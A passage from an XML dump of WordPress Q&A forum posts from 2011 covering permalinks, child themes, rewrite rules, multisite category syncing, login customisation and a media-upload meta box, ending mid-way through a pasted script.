  <row Id="12425" PostTypeId="2" ParentId="11652" CreationDate="2011-03-18T21:17:10.850" Score="2" ViewCount="" Body="&lt;p&gt;Are you testing the WordPress installation on your own server, or is it installed on a shared web host? I ask because I recently had a similar issue with a WordPress installation on my local development server. For me the issue was in my Apache configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the WordPress install &lt;em&gt;is&lt;/em&gt; on your server, make sure that the Apache module &lt;code&gt;mod_rewrite&lt;/code&gt; is enabled. Additionally, make sure &lt;code&gt;AllowOverride&lt;/code&gt; is set to &lt;code&gt;All&lt;/code&gt; rather than &lt;code&gt;None&lt;/code&gt; in your Apache configuration file, otherwise the rewrite rules in your &lt;code&gt;.htaccess&lt;/code&gt; file will be ignored entirely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can &lt;a href=&quot;http://philipoakley.org/2010/07/27/wordpress-2/wordpress-permalinks-not-working-on-ubuntu-10-04-mod_rewrite-issue-requires-a-symlink/&quot; rel=&quot;nofollow&quot;&gt;check out this post&lt;/a&gt; for more information, I apologize if this doesn't apply to your situation!&lt;/p&gt;&#xA;" OwnerUserId="4044" LastEditorUserId="4044" LastEditorDisplayName="" LastEditDate="2011-03-18T21:52:49.363" LastActivityDate="2011-03-18T21:52:49.363" CommentCount="2" />
  <row Id="12426" PostTypeId="2" ParentId="12414" CreationDate="2011-03-18T21:18:00.447" Score="3" ViewCount="" Body="&lt;p&gt;Yes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find a theme that support &lt;a href=&quot;http://codex.wordpress.org/Child_Themes&quot; rel=&quot;nofollow&quot;&gt;Child Theme&lt;/a&gt;. Create a child theme so that your modification doesn't get deleted if you update the parent theme.&lt;/p&gt;&#xA;" OwnerUserId="1241" LastActivityDate="2011-03-18T21:18:00.447" />
  <row Id="12427" PostTypeId="2" ParentId="12406" CreationDate="2011-03-18T21:29:47.513" Score="4" ViewCount="" Body="&lt;p&gt;This is for future askers,&lt;br&gt;&#xA;Whenever you use query_posts or custom wp_query you should add wp_reset_query(); after your loop or when you are done processing your posts. This little line of code will help in solving pagination issues or in your case rest the global $post the original as before your query.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-03-18T22:39:00.057" LastActivityDate="2011-03-18T22:39:00.057" />
  <row Id="12428" PostTypeId="2" ParentId="11719" CreationDate="2011-03-18T21:42:40.150" Score="1" ViewCount="" Body="&lt;p&gt;For the first preference, you'd need to filter in additional rewrite rules like so;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function __extra_country_rewrite_rules( $rules )&#xA;{&#xA;    global $wp_rewrite;&#xA;    if ( !isset( $wp_rewrite ) )&#xA;        $wp_rewrite = new WP_Rewrite;&#xA;&#xA;    $m1 = $wp_rewrite-&amp;gt;preg_index(1); // preg match backreferences&#xA;    $m2 = $wp_rewrite-&amp;gt;preg_index(2);&#xA;    $m3 = $wp_rewrite-&amp;gt;preg_index(3);&#xA;&#xA;    $rules['country/([^/]+)/([^/]+)s/feed/(feed|rdf|rss|rss2|atom)/?$'] = &quot;index.php?country=$m1&amp;amp;post_type=$m2&amp;amp;feed=$m3&quot;;&#xA;    $rules['country/([^/]+)/([^/]+)s/(feed|rdf|rss|rss2|atom)/?$'] = &quot;index.php?country=$m1&amp;amp;post_type=$m2&amp;amp;feed=$m3&quot;;&#xA;    $rules['country/([^/]+)/([^/]+)s/page/?([0-9]{1,})/?$'] = &quot;index.php?country=$m1&amp;amp;post_type=$m2&amp;amp;paged=$m3&quot;;&#xA;    $rules['country/([^/]+)/([^/]+)s/?$'] = &quot;index.php?country=$m1&amp;amp;post_type=$m2&quot;;&#xA;&#xA;    return $rules;&#xA;}&#xA;add_filter( 'country_rewrite_rules', '__extra_country_rewrite_rules' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second one is less dynamic, as you'd need to hardcode the post types in your rewrites (there is no initial 'indentifier' in the URL, unlike 'country' in the former).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function __extra_country_rewrite_rules( $rules )&#xA;{&#xA;    global $wp_rewrite;&#xA;    if ( !isset( $wp_rewrite ) )&#xA;        $wp_rewrite = new WP_Rewrite;&#xA;&#xA;    $m1 = $wp_rewrite-&amp;gt;preg_index(1); // preg match backreferences&#xA;    $m2 = $wp_rewrite-&amp;gt;preg_index(2);&#xA;    $m3 = $wp_rewrite-&amp;gt;preg_index(3);&#xA;&#xA;    $rules[&quot;(event|contact)s/country/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$&quot;] = &quot;index.php?post_type=$m1&amp;amp;country=$m2&amp;amp;feed=$m3&quot;;&#xA;    $rules[&quot;(event|contact)s/country/([^/]+)/(feed|rdf|rss|rss2|atom)/?$&quot;] = &quot;index.php?post_type=$m1&amp;amp;country=$m2&amp;amp;feed=$m3&quot;;&#xA;    $rules[&quot;(event|contact)s/country/([^/]+)/page/?([0-9]{1,})/?$&quot;] = &quot;index.php?post_type=$m1&amp;amp;country=$m2&amp;amp;paged=$m3&quot;;&#xA;    $rules[&quot;(event|contact)s/country/([^/]+)/?$&quot;] = &quot;index.php?post_type=$m1&amp;amp;country=$m2&quot;;&#xA;&#xA;    return $rules;&#xA;}&#xA;add_filter( 'rewrite_rules_array', '__extra_country_rewrite_rules' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll need to flush your permalinks for changes to take effect (just visit the Permalinks settings page once the code has been added).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you find that things still aren't functioning correctly, update your question with the code you use to register your post types &amp;amp; custom taxonomies.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-18T21:42:40.150" />
  <row Id="12429" PostTypeId="2" ParentId="12414" CreationDate="2011-03-18T21:43:45.663" Score="2" ViewCount="" Body="&lt;p&gt;Two options:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Child Themes&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Distribute a set theme that you plan to update.  Auto-updates will replace this theme, so it &lt;em&gt;should not&lt;/em&gt; be customized.  Build a child theme on top of it to hold your customizations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A great example is the &lt;a href=&quot;http://www.studiopress.com/themes/genesis&quot; rel=&quot;nofollow&quot;&gt;Genesis Framework&lt;/a&gt;.  Genesis is an advanced parent theme that lives in your &lt;code&gt;/themes/&lt;/code&gt; directory and is occasionally updated automatically by the team at StudioPress.  Your live site, though, will use a child theme that inherits and customizes the behavior of Genesis.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Theme Options&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If the customizations are minimal enough (i.e. a few lines of custom CSS) you can store them in the option table.  You can build a theme settings page with buttons, checkboxes, and dropdowns for simple settings.  Freeform CSS can be edited in a textbox and stored in the database as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These options will exist separately from the theme and will not be overwritten by theme updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This isn't an optimal solution since it separates part of the theme definition and stores it in the database.  Though it &lt;em&gt;would&lt;/em&gt; accomplish some of what you're looking for, I'd strongly recommend the child theme route instead.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-03-18T21:43:45.663" CommentCount="2" />
  <row Id="12430" PostTypeId="1" AcceptedAnswerId="12433" CreationDate="2011-03-18T21:48:53.980" Score="0" ViewCount="86" Body="&lt;p&gt;I spent almost an hour searching why my sidebar here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.r-bloggers.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.r-bloggers.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is dropping to the bottom of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you please advise on how to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2011-03-18T22:04:03.057" Title="CSS - why does my sidebar drops to the bottom of the page?" Tags="&lt;css&gt;" AnswerCount="1" />
  <row Id="12431" PostTypeId="2" ParentId="12328" CreationDate="2011-03-18T21:50:12.280" Score="0" ViewCount="" Body="&lt;p&gt;I have not actually experimented with it myself but when I cracked open the xmlrpc.php file I noticed several do actions for xmlrpc_call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect that you could add actions based on user type to the xmlrpc call.&lt;br&gt;&#xA;E.g. blogger_getPost() can be hooked with xmlrpc_call when xmlrpc_call == blogger.getPost.&lt;/p&gt;&#xA;" OwnerUserId="2362" LastActivityDate="2011-03-18T21:50:12.280" />
  <row Id="12432" PostTypeId="1" CreationDate="2011-03-18T22:04:00.310" Score="0" ViewCount="76" Body="&lt;p&gt;Hi is it possible to modify the login fields required to login into wp-admin? Say to use the email address instead of the username together with the password to gain access. How would I go about doing that? thanks &lt;/p&gt;&#xA;" OwnerUserId="4047" LastActivityDate="2011-03-18T22:54:57.097" Title="Modify WP-Admin login fields" Tags="&lt;wp-admin&gt;&lt;login&gt;" AnswerCount="1" />
  <row Id="12433" PostTypeId="2" ParentId="12430" CreationDate="2011-03-18T22:04:03.057" Score="2" ViewCount="" Body="&lt;p&gt;Your &lt;code&gt;#leftcontent&lt;/code&gt; div is not closed out with a closing &lt;code&gt;&amp;lt;/div&amp;gt;&lt;/code&gt; tag after your loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit your index.php, find &lt;a href=&quot;http://codex.wordpress.org/The_Loop&quot; rel=&quot;nofollow&quot;&gt;the Loop&lt;/a&gt;, and look for the end of the loop (usually it looks like &lt;code&gt;endwhile; endif;&lt;/code&gt;. Add a closing &lt;code&gt;&amp;lt;/div&amp;gt;&lt;/code&gt; tag immediately after that (but outside of the &lt;code&gt;&amp;lt;?php ... ?&amp;gt;&lt;/code&gt; tags). &lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-03-18T22:04:03.057" CommentCount="3" />
  <row Id="12434" PostTypeId="1" AcceptedAnswerId="12472" CreationDate="2011-03-18T22:04:45.943" Score="0" ViewCount="101" Body="&lt;p&gt;Is it possible to add a short description to a custom taxonomy's admin area?  For example, I've added a taxonomy that determines what kind of banners are displayed on a post's page.  In the meta box for this taxonomy on the Edit/Add Post page I'd like to add a little blurb explaining how it works.&lt;/p&gt;&#xA;" OwnerUserId="3032" LastActivityDate="2011-03-19T10:59:12.560" Title="Custom taxonomy admin description" Tags="&lt;admin&gt;&lt;taxonomy&gt;&lt;customization&gt;&lt;form&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="12435" PostTypeId="1" CreationDate="2011-03-18T22:07:55.440" Score="2" ViewCount="107" Body="&lt;p&gt;What I want to do is a loop like this is something like this  I'm really sorry but its hard to format here!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I going to put this short url &lt;a href=&quot;http://pastebin.com/dEdKzgJz&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/dEdKzgJz&lt;/a&gt; so you can see it better... Can anyone help me with this? Any advice!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Category 1&lt;br&gt;&#xA;........Child Category 1.1&lt;br&gt;&#xA;...........Sub-Child Category 1.1.1&lt;br&gt;&#xA;.................Post Title 1&lt;br&gt;&#xA;.................Post Title 2&lt;br&gt;&#xA;.................Post Title 3  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Category 2&lt;br&gt;&#xA;........Child Category 2.1&lt;br&gt;&#xA;...........Sub-Child Category 2.1.1&lt;br&gt;&#xA;.................Post Title 1&lt;br&gt;&#xA;.................Post Title 2&lt;br&gt;&#xA;.................Post Title 3  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Category 3&lt;br&gt;&#xA;........Child Category 3.1&lt;br&gt;&#xA;...........Sub-Child Category 3.1.1&lt;br&gt;&#xA;.................Post Title 1&lt;br&gt;&#xA;.................Post Title 2&lt;br&gt;&#xA;.................Post Title 3  &lt;/p&gt;&#xA;" OwnerUserId="3049" LastActivityDate="2011-07-17T01:19:19.870" Title="Listing Parent, Child and GrandChild Categories and then the PostTitles on Page Template !" Tags="&lt;categories&gt;&lt;loop&gt;&lt;page-template&gt;&lt;list&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="12436" PostTypeId="2" ParentId="10154" CreationDate="2011-03-18T22:10:35.203" Score="1" ViewCount="" Body="&lt;p&gt;You can also try this plugin:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/ozh-simpler-login-url/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/ozh-simpler-login-url/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4047" LastActivityDate="2011-03-18T22:10:35.203" />
  <row Id="12437" PostTypeId="2" ParentId="12204" CreationDate="2011-03-18T22:15:43.870" Score="1" ViewCount="" Body="&lt;p&gt;The best hook I can find is &lt;code&gt;wpmu_new_blog&lt;/code&gt; (line 1086, &lt;code&gt;wp-includes/ms-functions.php&lt;/code&gt;, &lt;code&gt;wpmu_create_blog()&lt;/code&gt;) - it passes 6 arguments like so;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;do_action( 'wpmu_new_blog', $blog_id, $user_id, $domain, $path, $site_id, $meta );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$meta&lt;/code&gt; is an array of initial site options, not to be confused with the options generated by &lt;code&gt;populate_options()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Programatically creating nav menus may prove to be a little tricky, as there is no 'API' as such - they're a mix of posts, post meta and &lt;code&gt;nav_menu&lt;/code&gt; terms, coupled with a few available functions such as &lt;code&gt;is_nav_menu_item()&lt;/code&gt; and &lt;code&gt;wp_setup_nav_menu_item()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My best advice would be to check out &lt;code&gt;wp-admin/nav-menus.php&lt;/code&gt;, as this is where all the core code lies for creating menus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;WP_DEFAULT_THEME&lt;/code&gt; should be fine, and is probably the best approach too.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-18T22:15:43.870" />
  <row Id="12438" PostTypeId="2" ParentId="12414" CreationDate="2011-03-18T22:37:45.870" Score="2" ViewCount="" Body="&lt;p&gt;Looks like there's talk for the 3.2 roadmap of improving the upgrade system so that it only affects changed files, but thats a long way off and might only affect core upgrades. Plugin and theme upgrades do delete the entire folder and overwrite it.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-03-18T22:37:45.870" />
  <row Id="12439" PostTypeId="2" ParentId="5013" CreationDate="2011-03-18T22:43:42.337" Score="1" ViewCount="" Body="&lt;p&gt;There's &lt;a href=&quot;http://wordpress.org/extend/plugins/dirtysuds-category-thumbnail/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/dirtysuds-category-thumbnail/&lt;/a&gt; too &lt;/p&gt;&#xA;" OwnerUserId="4049" LastActivityDate="2011-03-18T22:43:42.337" CommentCount="1" />
  <row Id="12440" PostTypeId="2" ParentId="12201" CreationDate="2011-03-18T22:47:30.210" Score="4" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;function __add_global_categories( $term_id )&#xA;{&#xA;    if ( get_current_blog_id() !== BLOG_ID_CURRENT_SITE || ( !$term = get_term( $term_id, 'category' ) ) )&#xA;        return $term_id; // bail&#xA;&#xA;    if ( !$term-&amp;gt;parent || ( !$parent = get_term( $term-&amp;gt;parent, 'category' ) ) )&#xA;        $parent = null;&#xA;&#xA;    global $wpdb;&#xA;&#xA;    $blogs = $wpdb-&amp;gt;get_col( &quot;SELECT blog_id FROM {$wpdb-&amp;gt;blogs} WHERE site_id = '{$wpdb-&amp;gt;siteid}'&quot; );&#xA;    foreach ( $blogs as $blog ) {&#xA;        $wpdb-&amp;gt;set_blog_id( $blog );&#xA;&#xA;        if ( $parent &amp;amp;&amp;amp; ( $_parent = get_term_by( 'slug', $parent-&amp;gt;slug, 'category' ) ) )&#xA;            $_parent_ID = $_parent-&amp;gt;term_id;&#xA;        else&#xA;            $_parent_ID = 0;&#xA;&#xA;        wp_insert_term( $term-&amp;gt;name, 'category',  array(&#xA;            'slug' =&amp;gt; $term-&amp;gt;slug,&#xA;            'parent' =&amp;gt; $_parent_ID,&#xA;            'description' =&amp;gt; $term-&amp;gt;description&#xA;        ));&#xA;    }&#xA;&#xA;    $wpdb-&amp;gt;set_blog_id( BLOG_ID_CURRENT_SITE );&#xA;}&#xA;add_action( 'created_category', '__add_global_categories' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will run whenever a category is &lt;em&gt;added&lt;/em&gt; on the main site. A few caveats/points worth mentioning;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you have &lt;em&gt;a lot&lt;/em&gt; of blogs, this function may get pretty intensive.&lt;/li&gt;&#xA;&lt;li&gt;On average, we are running anywhere between 5 to 8 queries (possibly more) &lt;em&gt;per blog&lt;/em&gt; - depending on the speed of your database, this function may need to be chunked.&lt;/li&gt;&#xA;&lt;li&gt;Only newly added categories are 'synced'. Updating and deleting categories are not (code will need to be revised).&lt;/li&gt;&#xA;&lt;li&gt;If a newly added category has a parent, and the parent cannot be found within the multisite blog in question, the category will be created with no parent (this should only be the case if the parent category was created before this function was installed).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-18T22:47:30.210" CommentCount="3" />
  <row Id="12441" PostTypeId="2" ParentId="12432" CreationDate="2011-03-18T22:54:57.097" Score="1" ViewCount="" Body="&lt;p&gt;There are plugins which help to do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-email-login/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-email-login/&lt;/a&gt; people can use their email address instead of their username to log into you WordPress install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;a href=&quot;http://wordpress.org/extend/plugins/theme-my-login/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/theme-my-login/&lt;/a&gt; you can have the WordPress login included in your design, and allow users to modify their account information without logging into the backend.&lt;/p&gt;&#xA;" OwnerUserId="2984" LastActivityDate="2011-03-18T22:54:57.097" CommentCount="3" />
  <row Id="12442" PostTypeId="2" ParentId="11210" CreationDate="2011-03-18T23:01:23.297" Score="2" ViewCount="" Body="&lt;p&gt;Author archives default to searching for posts of the post type &lt;code&gt;post&lt;/code&gt;. You could override this with &lt;code&gt;wiki&lt;/code&gt; like so;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function __set_wiki_for_author( &amp;amp;$query )&#xA;{&#xA;    if ( $query-&amp;gt;is_author )&#xA;        $query-&amp;gt;set( 'post_type', 'wiki' );&#xA;    remove_action( 'pre_get_posts', '__set_wiki_for_author' ); // run once!&#xA;}&#xA;add_action( 'pre_get_posts', '__set_wiki_for_author' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Drop it in your a plugin or your theme's &lt;code&gt;functions.php&lt;/code&gt; (if the file doesn't exist, create it).&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-18T23:01:23.297" CommentCount="4" />
  <row Id="12443" PostTypeId="2" ParentId="10154" CreationDate="2011-03-18T23:05:23.090" Score="1" ViewCount="" Body="&lt;p&gt;You can disable the wp-login page from your functions by hooking into login_head:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'login_head', 'wp_die');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(that's obviously a very clumsy way of doing it, but it prevents anyone from being able to login through that page. You could make that a redirect function, or a warning message, rather than just a die.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And copy the existing wp-login file to another location, making sure to update the relative path to &lt;code&gt;wp-load.php&lt;/code&gt; near the top (and any other relative paths that may be in there, including the links to itself and the form actions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Obviously you'll have to remove the action that you added to &lt;code&gt;login_head&lt;/code&gt; here, otherwise you won't be able to login from this page either.)&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, you should just need to add a filter to &lt;code&gt;login_url&lt;/code&gt; that returns the address of your new login page, otherwise people requesting wp-admin files will be redirected to the old login page, which is now disabled.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2011-03-19T00:17:00.987" LastActivityDate="2011-03-19T00:17:00.987" />
  <row Id="12444" PostTypeId="1" AcceptedAnswerId="12506" CreationDate="2011-03-18T23:13:33.917" Score="0" ViewCount="260" Body="&lt;p&gt;I've got problems getting pretty permalinks to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When changing the permalinks (e.g. to month/name), my .htaccess (in the wordpress directory - there is another one one level up) is changed like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AddType x-mapp-php5 .php&#xA;AddHandler x-mapp-php5 .php&#xA;&#xA;# BEGIN WordPress&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /wordpress/&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /wordpress/index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I still get 404s when trying to access an existing page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My blog is in the /wordpress/ subdirectory, not sure if that may be a problem. The URLs are both set to  &lt;code&gt;http://&amp;lt;my domain&amp;gt;/wordpress&lt;/code&gt; which is where my wordpress files are located.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what I can do, where I can see the results of the rewrite or anything else that would help me to track down the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3943" LastEditorUserId="3943" LastEditorDisplayName="" LastEditDate="2011-03-19T07:47:56.353" LastActivityDate="2011-03-19T19:20:53.913" Title="Problems redirecting to &quot;pretty&quot; permalinks (wordpress in Subdirectory)" Tags="&lt;permalinks&gt;&lt;404-error&gt;&lt;htaccess&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="12445" PostTypeId="2" ParentId="12435" CreationDate="2011-03-18T23:17:20.017" Score="1" ViewCount="" Body="&lt;p&gt;This would be the way I'd do it. Add the following to your &lt;code&gt;functions.php&lt;/code&gt;;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Walker_Category_Posts extends Walker_Category&#xA;{&#xA;    function start_el( &amp;amp;$output, $category, $depth, $args )&#xA;    {&#xA;        parent::start_el( $output, $category, $depth, $args );&#xA;        if ( $category-&amp;gt;parent )&#xA;            return $output;&#xA;&#xA;        if ( $posts = get_posts( 'posts_per_page=-1&amp;amp;no_found_rows=1&amp;amp;update_term_cache=0&amp;amp;cat=' . $category-&amp;gt;term_id ) ) {&#xA;            $output .= '&amp;lt;ul&amp;gt;';&#xA;            foreach ( $posts as $post )&#xA;                $output .= '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;' . get_permalink( $post-&amp;gt;ID ) . '&quot;&amp;gt;' . apply_filters( 'the_title', $post-&amp;gt;post_title ) . '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;            $output .= '&amp;lt;/ul&amp;gt;';&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And where you'd like to display the list, call;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_list_categories(array('walker' =&amp;gt; new Walker_Category_Posts)); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-18T23:17:20.017" />
  <row Id="12446" PostTypeId="1" AcceptedAnswerId="12451" CreationDate="2011-03-18T23:35:25.393" Score="4" ViewCount="676" Body="&lt;p&gt;I find it very unnecessary to have an &quot;add image&quot; button that brings me to yet another screen that will let me upload content to my post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I would like to have a meta box with the option to add images directly in a meta box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to get some functionality by copy the source for the media-upload form and paste it in a meta box. The image I choose gets uploaded, however I doesn't show any progressbar, and I need to find a way to list attached images below for better overview.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone managed to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_image_test() { &#xA;?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;//&amp;lt;![CDATA[&#xA;addLoadEvent = function(func){if(typeof jQuery!=&quot;undefined&quot;)jQuery(document).ready(func);else if(typeof wpOnload!='function'){wpOnload=func;}else{var oldonload=wpOnload;wpOnload=function(){oldonload();func();}}};&#xA;var userSettings = {'url':'/','uid':'2','time':'1300489693'};&#xA;var ajaxurl = 'http://xxx.com/wp-admin/admin-ajax.php', pagenow = 'media-upload-popup', adminpage = 'media-upload-popup',&#xA;isRtl = 0;&#xA;//]]&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;script type='text/javascript'&amp;gt;&#xA;/* &amp;lt;![CDATA[ */&#xA;var swfuploadL10n = {&#xA;    queue_limit_exceeded: &quot;You have attempted to queue too many files.&quot;,&#xA;    file_exceeds_size_limit: &quot;This file exceeds the maximum upload size for this site.&quot;,&#xA;    zero_byte_file: &quot;This file is empty. Please try another.&quot;,&#xA;    invalid_filetype: &quot;This file type is not allowed. Please try another.&quot;,&#xA;    default_error: &quot;An error occurred in the upload. Please try again later.&quot;,&#xA;    missing_upload_url: &quot;There was a configuration error. Please contact the server administrator.&quot;,&#xA;    upload_limit_exceeded: &quot;You may only upload 1 file.&quot;,&#xA;    http_error: &quot;HTTP error.&quot;,&#xA;    upload_failed: &quot;Upload failed.&quot;,&#xA;    io_error: &quot;IO error.&quot;,&#xA;    security_error: &quot;Security error.&quot;,&#xA;    file_cancelled: &quot;File canceled.&quot;,&#xA;    upload_stopped: &quot;Upload stopped.&quot;,&#xA;    dismiss: &quot;Dismiss&quot;,&#xA;    crunching: &quot;Crunching&amp;amp;hellip;&quot;,&#xA;    deleted: &quot;moved to the trash.&quot;,&#xA;    error_uploading: &quot;&amp;amp;#8220;%s&amp;amp;#8221; has failed to upload due to an error&quot;&#xA;};&#xA;try{convertEntities(swfuploadL10n);}catch(e){};&#xA;/* ]]&amp;gt; */&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type='text/javascript' src='http://xxx.com/wp-admin/load-scripts.php?c=1&amp;amp;amp;load=jquery,utils,swfupload-all,swfupload-handlers,json2&amp;amp;amp;ver=2af6dbb1e89d69a2363895fac893188d'&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    jQuery(document).ready(function(){&#xA;    jQuery('form#post').attr('enctype','multipart/form-data');&#xA;    jQuery('form#post').attr('encoding','multipart/form-data');&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&#xA;&amp;lt;form enctype=&quot;multipart/form-data&quot; method=&quot;post&quot; action=&quot;http://xxx.com/wp-admin/media-upload.php?type=image&amp;amp;amp;tab=type&amp;amp;amp;post_id=1622&quot; class=&quot;media-upload-form type-form validate&quot; id=&quot;image-form&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;save&quot; id=&quot;save&quot; class=&quot;hidden&quot; value=&quot;Save Changes&quot;  /&amp;gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;post_id&quot; id=&quot;post_id&quot; value=&quot;1622&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; id=&quot;_wpnonce&quot; name=&quot;_wpnonce&quot; value=&quot;2460ab002a&quot; /&amp;gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;_wp_http_referer&quot; value=&quot;/wp-admin/media-upload.php?post_id=1622&amp;amp;amp;type=image&amp;amp;amp;&quot; /&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;//&amp;lt;![CDATA[&#xA;var uploaderMode = 0;&#xA;jQuery(document).ready(function($){&#xA;    uploaderMode = getUserSetting('uploader');&#xA;    $('.upload-html-bypass a').click(function(){deleteUserSetting('uploader');uploaderMode=0;swfuploadPreLoad();return false;});&#xA;    $('.upload-flash-bypass a').click(function(){setUserSetting('uploader', '1');uploaderMode=1;swfuploadPreLoad();return false;});&#xA;});&#xA;//]]&amp;gt;&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;div id=&quot;media-upload-notice&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;media-upload-error&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;script 